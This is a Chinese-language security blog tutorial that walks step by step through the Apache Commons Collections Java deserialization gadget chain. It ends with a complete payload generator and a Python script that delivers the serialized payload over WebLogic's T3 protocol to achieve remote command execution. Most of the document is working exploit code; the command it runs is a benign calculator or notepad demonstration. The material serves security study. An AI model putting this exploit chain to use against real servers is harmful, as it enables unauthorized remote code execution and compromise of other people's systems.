Commons Collections 反序列化入门

百家 作者:顺丰安全应急响应中心 2020-10-12 18:23:31

tags: javasec

前言

结合经典的Commons Collections反序列化漏洞来深入理解下反序列化的实际利用场景。

基础知识

Commons Collections

Commons Collections?在?jdk1.2?就引入的一个?jar?包,提供的强大的数据结构支持,在很多实际项目中都很常见。

序列化与反序列化

  • 序列化:将对象写入到IO流中,创建一个?ObjectOutputStream?输出流,调用?ObjectOutputStream?对象的?writeObject()?输出可序列化对象。

  • 反序列化:从IO流中恢复对象。创建一个?ObjectInputStream?输入流,调用?ObjectInputStream?对象的?readObject()?得到序列化的对象。

序列化机制允许将实现序列化的?Java?对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,在需要的场景下再恢复成原来的对象。序列化和反序列化函数本身不存在漏洞,但是如果在序列化数据可控的情况下进行了反序列化就可能带来任意代码执行。

反射

根据前面的学习,反射就是灵活的获取并使用Class

Transformer

Transformer是一个特殊的接口,其中定义的?transform()?函数用来将一个对象转换成另一个对象。

public?interface?Transformer?{
????Object?transform(Object?var1);
}

本地有前提利用

首先我们先本地试试利用?Commons Collections来实现命令执行。

InvokerTransformer

InvokerTransformer?类实现了?Transformer和?Serializable?,其中关键部分的代码如下:

//?构造方法
public?InvokerTransformer(String?methodName,?Class[]?paramTypes,?Object[]?args)?{
????this.iMethodName?=?methodName;
????this.iParamTypes?=?paramTypes;
????this.iArgs?=?args;
}
……
//?反射调用method关键代码
public?Object?transform(Object?input)?{
????if?(input?==?null)?{
????????return?null;
????}?else?{
????????try?{
????????????//?当input是一个类的实例对象时,获取到的是这个类
????????????//?当input是一个类时,获取到的是java.lang.Class
????????????Class?cls?=?input.getClass();
????????????Method?method?=?cls.getMethod(this.iMethodName,?this.iParamTypes);
????????????return?method.invoke(input,?this.iArgs);
????????}?catch?(NoSuchMethodException?var5)?{
????????????throw?new?FunctorException("InvokerTransformer:?The?method?'"?+?this.iMethodName?+?"'?on?'"?+?input.getClass()?+?"'?does?not?exist");
????????}?catch?(IllegalAccessException?var6)?{
????????????throw?new?FunctorException("InvokerTransformer:?The?method?'"?+?this.iMethodName?+?"'?on?'"?+?input.getClass()?+?"'?cannot?be?accessed");
????????}?catch?(InvocationTargetException?var7)?{
????????????throw?new?FunctorException("InvokerTransformer:?The?method?'"?+?this.iMethodName?+?"'?on?'"?+?input.getClass()?+?"'?threw?an?exception",?var7);
????????}
????}
}

java做命令执行的一般形式如下:

java.lang.Runtime.getRuntime.exec("cmd");

通过?InvokerTransformer?的反射链我们可以对应的构造如下的输入来形成命令执行的语句:

Object?input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
this.iMethodName="exec"
this.iParamTypes=String.class
this.iArgs="notepad.exe"

而刚好上面的?InvokerTransformer?就有对?iMethodNameiParamTypesiArgs?的赋值操作,简单写个直接调用InvokerTransformer?的实例:

public?class?testInvokeTransformer?{
????public?static?void?main(String[]?args)?throws?ClassNotFoundException,?NoSuchMethodException,?InvocationTargetException,?IllegalAccessException?{
????????InvokerTransformer?test?=?new?InvokerTransformer(
????????????"exec",
????????????new?Class[]{String.class},
????????????new?String[]{"notepad.exe"});
????????Object?input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
????????test.transform(input);
????}
}

运行即可运行本地记事本。

ChainedTransformer

ChainedTransformer会实例化传入的Transformer类型的数组,调用其transform方法挨个调用数组中对象的transform方法,并将返回值做为下一次调用对象方法的参数,第一个对象调用transform方法时的参数是用户传入的。

public?ChainedTransformer(Transformer[]?transformers)?{
????this.iTransformers?=?transformers;
}

public?Object?transform(Object?object)?{
????for(int?i?=?0;?i?<?this.iTransformers.length;?++i)?{
????????object?=?this.iTransformers[i].transform(object);
????}

????return?object;
}

利用?ChainedTransformer?和前面的?InvokerTransformer?也可以实现命令执行:

Transformer[]?transformers?=?new?Transformer[]?{
????new?InvokerTransformer("exec",
????????new?Class[]?{String.class?},
????????new?Object[]?{"notepad.exe"})
};

Transformer?transformerChain?=?new?ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());

这里可以跟进下这个?demo?的执行过程,首先是完成?transformers?数组的初始化,然后使用?new?创建一个实例对象,接下来传入?Runtime.getRuntime()?来调用ChainedTransformer?的?transform?方法,进到?for?循环里面。transformers?数组就 1 个?InvokerTransformer?的对象实例,对应的它就会去执行?InvokerTransformer?的?transform?方法完成反射调用。

反序列化利用

接下来再按照实际场景比较常见的反序列化的利用方式实现:

????????Transformer[]?transformers?=?new?Transformer[]?{
????????????new?InvokerTransformer("exec",
????????????????new?Class[]?{String.class?},
????????????????new?Object[]?{"notepad.exe"})
????????};

????????Transformer?transformerChain?=?new?ChainedTransformer(transformers);
????????//transformerChain.transform(Runtime.getRuntime());
????????//System.out.println(Runtime.getRuntime());

????????FileOutputStream?f?=?new?FileOutputStream("payload.bin");
????????ObjectOutputStream?fout?=?new?ObjectOutputStream(f);
????????fout.writeObject(transformerChain);

//服务端反序列化payload读取
????????FileInputStream?fi?=?new?FileInputStream("payload.bin");
????????ObjectInputStream?fin?=?new?ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
????????Transformer?transformerChain_now?=?(ChainedTransformer)?fin.readObject();
????????transformerChain_now.transform(Runtime.getRuntime());

不过这里有点太过于一厢情愿了,存在于以下 2 个利用前提:

  1. 执行?transform?带上了?Runtime.getRuntime()?参数;

  2. 反序列化数据执行了?transform

现在先减少一个前提,把?getRuntime()?放到反序列化数据中去试试。这就需要用到另外一个transformConstantTransformer

ConstantTransformer 干掉前提1

ConstantTransformer?类既实现了?Transformer也实现了?Serializable?,它的构造函数会将传入参数定义为类的变量,然后?transform?又返回,可以理解为给啥就回啥。

public?ConstantTransformer(Object?constantToReturn)?{
????this.iConstant?=?constantToReturn;
}

public?Object?transform(Object?input)?{
????return?this.iConstant;
}

那我们就可以把?Runtime?实例写入ConstantTransformer的变量中,然后将其?ChainedTransformer?对象的第一个参数,最后形成的片段如下:

??Transformer[]?transformers?=?new?Transformer[]?{
????????????//以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
????????????//?new?ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
????????????new?ConstantTransformer(Runtime.getRuntime()),
????????????new?InvokerTransformer("exec",?new?Class[]?{String.class?},?new?Object[]?{"notepad.exe"})
????????};
????????Transformer?transformerChain?=?new?ChainedTransformer(transformers);
????????//transformerChain.transform(Runtime.getRuntime());
????????//System.out.println(Runtime.getRuntime());

????????FileOutputStream?f?=?new?FileOutputStream("payload.bin");
????????ObjectOutputStream?fout?=?new?ObjectOutputStream(f);
????????fout.writeObject(transformerChain);

//服务端反序列化payload读取
????????FileInputStream?fi?=?new?FileInputStream("payload.bin");
????????ObjectInputStream?fin?=?new?ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
????????Transformer?transformerChain_now?=?(ChainedTransformer)?fin.readObject();
????????transformerChain_now.transform(0);

接下来再继续尝试将payload反序列化操作:

Transformer[]?transformers?=?new?Transformer[]?{
????//以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
????//?new?ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
????new?ConstantTransformer(Runtime.getRuntime()),
????new?InvokerTransformer("exec",?new?Class[]?{String.class?},?new?Object[]?{"notepad.exe"}),

};
Transformer?transformerChain?=?new?ChainedTransformer(transformers);
FileOutputStream?f?=?new?FileOutputStream("payload.bin");
ObjectOutputStream?fout?=?new?ObjectOutputStream(f);
fout.writeObject(transformerChain);

//服务端反序列化payload读取
FileInputStream?fi?=?new?FileInputStream("payload.bin");
ObjectInputStream?fin?=?new?ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
Transformer?transformerChain_now?=?(ChainedTransformer)?fin.readObject();
transformerChain_now.transform(null);

结果因为Runtime没有实现Serializable而序列化失败。

Exception?in?thread?"main"?java.io.NotSerializableException:?java.lang.Runtime

所以目前直接写入Runtime实例的办法是行不通了,需要在transforms中利用ChainedTransformer?的循环调用与InvokerTransformer的反射 。反射调用Runtime的一句话如下:

????????Class.forName("java.lang.Runtime")
????????????.getMethod("exec",?String.class)
????????????.invoke(Class.forName("java.lang.Runtime")
????????????????.getMethod("getRuntime")
????????????????.invoke(Class.forName("java.lang.Runtime")),"notepad.exe");

具体逻辑如下:

  • 首先传入?Runtime?类作为数组第一位,经过第一轮?for?循环,返回的的?Runtime?类作为输入参数到第二轮?for?循环;

  • 第二轮循环就得进入到?InvokeTransformer?里面进行反射,构造函数进行初始化传入的?iMethodName参数是?getMethod?,iArgs?参数是?getRuntime()?,利用反射调用生成了一个方法?java.lang.Runtime.getRuntime()?接下来就使用这个方法继续作为参数进到下一次?transform?函数;

  • 第三轮循环里传入的?iMethodName?参数是?invoke,通过反射调用最终在?InvokeTransformer?里面返回一个?Runtime?的对象,接下来这个对象会作为?input?参数被传到下一次的执行中。

  • 第四轮的inputRuntime的实例对象,可以直接调用exec,因此传入?iMethodName?参数是?execiArgs?是?notepad.exe?。

自此为止,经过 4 轮调用之后,就可以成功的利用反射加载?Runtime?并实现命令执行啦,将 3 次在InvokerTransformer?中执行?transform?的过程简单化的结果如下:

????????//第二轮for循环
????????//?new?InvokerTransformer("getMethod",
????????//????????????????????new?Class[]?{String.class,?Class[].class?},
????????//????????????????????new?Object[]?{"getRuntime",?new?Class[0]?}),
????????//a就是input
????????Class?a?=?Class.forName("java.lang.Runtime");
????????Class?cls2?=?a.getClass();
????????Method?method2?=?cls2.getMethod("getMethod",?new?Class[]?{String.class,?Class[].class?});
????????Object?for2?=?method2.invoke(a,new?Object[]?{"getRuntime",?new?Class[0]?});
????????//?第三轮for循环
????????//?new?InvokerTransformer("invoke",
????????//????????????????????new?Class[]?{Object.class,?Object[].class?},
????????//????????????????????new?Object[]?{null,?new?Object[0]?})
????????//?b就是input
????????Method?b?=?(Method)?for2;
????????Class?cls?=?b.getClass();
????????Method?method?=?cls.getMethod("invoke",?Object.class,?Object[].class);
????????Object?ma?=?method.invoke(b,?new?Object[]{null,?new?Object[0]});
????????System.out.println(ma.toString());
????????Runtime?arun?=Runtime.getRuntime();
????????//第四轮for循环
????????//?new?InvokerTransformer("exec",
????????//????????????????????new?Class[]?{String.class?},
????????//????????????????????new?Object[]?{"notepad.exe"})
????????ma.getClass().getMethod("exec",?String.class).invoke(ma,?"notepad.exe");

解决了反序列化与命令执行的问题了,接下来就得找执行?transform?函数的利用链了。

LazyMap 干掉前提2

ysoserial为例,其中的?CommonsCollections1?的?gadgets?利用的是?LazyMap?,在?\org\apache\commons\collections\map\LazyMap.class?中关键的2个函数如下:

protected?LazyMap(Map?map,?Transformer?factory)?{
????super(map);
????if?(factory?==?null)?{
????????throw?new?IllegalArgumentException("Factory?must?not?be?null");
????}?else?{
????????this.factory?=?factory;
????}
}

public?Object?get(Object?key)?{
????if?(!super.map.containsKey(key))?{
????????Object?value?=?this.factory.transform(key);
????????super.map.put(key,?value);
????????return?value;
????}?else?{
????????return?super.map.get(key);
????}
}

这里可以直接传入参数到?LazyMap?的构造函数其中factory参数设为ChainedTransformer,然后调用?get?就会实现调用对应对象的?transform?方法,问题又来到了找调用?get?方法的函数了。

在?TiedMapEntry?类中的?toString?方法会调用?getValue?方法,而?getValue?就有调用?get?方法,所以这里如果想要自动化的完成反序列化的触发只需要使用?System.out.println?来打印一下反序列化的值就可以完成?transform的自动触发。


为了彻底的干掉前提 2 就得想办法找会自动调用?toString?的方法,在BadAttributeValueExpException?中的readObject方法代码片段如下:

private?void?readObject(ObjectInputStream?ois)?throws?IOException,?ClassNotFoundException?{
????ObjectInputStream.GetField?gf?=?ois.readFields();
????Object?valObj?=?gf.get("val",?null);

????if?(valObj?==?null)?{
????????val?=?null;
????}?else?if?(valObj?instanceof?String)?{
????????val=?valObj;
????}?else?if?(System.getSecurityManager()?==?null
????????????||?valObj?instanceof?Long
????????????||?valObj?instanceof?Integer
????????????||?valObj?instanceof?Float
????????????||?valObj?instanceof?Double
????????????||?valObj?instanceof?Byte
????????????||?valObj?instanceof?Short
????????????||?valObj?instanceof?Boolean)?{
????????val?=?valObj.toString();
????}?else?{?//?the?serialized?object?is?from?a?version?without?JDK-8019292?fix
????????val?=?System.identityHashCode(valObj)?+?"@"?+?valObj.getClass().getName();
????}
}

可以看到在第二个?if-else?块里面会调用?toString?方法,这里我们只需要确保不调用setSecurityManager或者setSecurityManager0?即可确保getSecurityManager的返回值是null从而进入到对应的if-else块。

要利用BadAttributeValueExpException?还得用反射将val的值设置为前面我们TiedMapEntry的实例对象,最终的payload如下:

??????????Transformer[]?transformers?=?new?Transformer[]{
????????????new?ConstantTransformer(Runtime.class),
????????????new?InvokerTransformer("getMethod",
????????????????new?Class[]{String.class,?Class[].class},
????????????????new?Object[]{"getRuntime",?new?Class[0]}),
????????????new?InvokerTransformer("invoke",
????????????????new?Class[]{Object.class,?Object[].class},
????????????????new?Object[]{"exec",?new?Object[0]}),
????????????new?InvokerTransformer("exec",
????????????????new?Class[]{String.class},
????????????????new?Object[]{"/usr/bin/gnome-calculator"})
????????};
????????Transformer?transformerChain?=?new?ChainedTransformer(transformers);
????????Map?innerMap?=?new?HashMap();
????????Map?lazyMap?=?LazyMap.decorate(innerMap,?transformerChain);

????????TiedMapEntry?entry?=?new?TiedMapEntry(lazyMap,?"foo");
????????BadAttributeValueExpException?badAttributeValueExpException?=?new?BadAttributeValueExpException(null);
????????Field?val?=?badAttributeValueExpException.getClass().getDeclaredField("val");
????????val.setAccessible(true);
????????val.set(badAttributeValueExpException,entry);

????????FileOutputStream?fout?=?new?FileOutputStream("payload.bin");
????????ObjectOutputStream?obout?=?new?ObjectOutputStream(fout);
????????obout.writeObject(badAttributeValueExpException);

????????//服务端反序列化payload读取
????????FileInputStream?fin?=?new?FileInputStream("payload.bin");
????????ObjectInputStream?obin?=?new?ObjectInputStream(fin);
????????//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
????????obin.readObject();
????????obin.close();

远程利用完成

自此,我们已经完成了利用链的分析构造,可以直接利用这个模板来进行序列化payload传递给某些反序列化场景进行利用了。这里用?weblogic 10.3.6?来做反序列化触发,搭好weblogic之后访问 http://x.x.x.x:7001/console/login/LoginForm.jsp 出现登录界面就算搭建成功。在这个版本默认会开启?t3?协议,我们可以直接使用t3协议把我们序列化好的数据发送过去,weblogic?进行反序列化之后就会实现命令执行。

t3?协议利用脚本如下:

#!/usr/bin/python
import?socket
import?sys
import?struct

sock?=?socket.socket(socket.AF_INET,?socket.SOCK_STREAM)

server_address?=?("x.x.x.x",?7001)
print?'connecting?to?%s?port?%s'?%?server_address
sock.connect(server_address)

#?Send?headers

headers='t3?12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print?'sending?"%s"'?%?headers
sock.sendall(headers)

data?=?sock.recv(1024)
print?>>sys.stderr,?'received?"%s"'?%?data

payloadObj?=?open("./payload.bin",'rb').read()

payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'

#?adjust?header?for?appropriate?message?length

payload?=?"{0}{1}".format(struct.pack('!i',?len(payload)),?payload[4:])

print?'sending?payload...'
sock.send(payload)

运行该脚本即可触发命令执行:





后续会在以此为基础进行ysoserial相关利用链的分析。

参考链接

https://xz.aliyun.com/t/7031

[https://github.com/Maskhe/javasec/blob/master/3.%20apache%20commons-collections%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md](https://github.com/Maskhe/javasec/blob/master/3. apache commons-collections中的反序列化.md)

https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/

https://www.cnblogs.com/litlife/p/12571787.html#commonscollections1

https://javasec.org/javase/DynamicProxy/DynamicProxy.html










关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

图库
公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接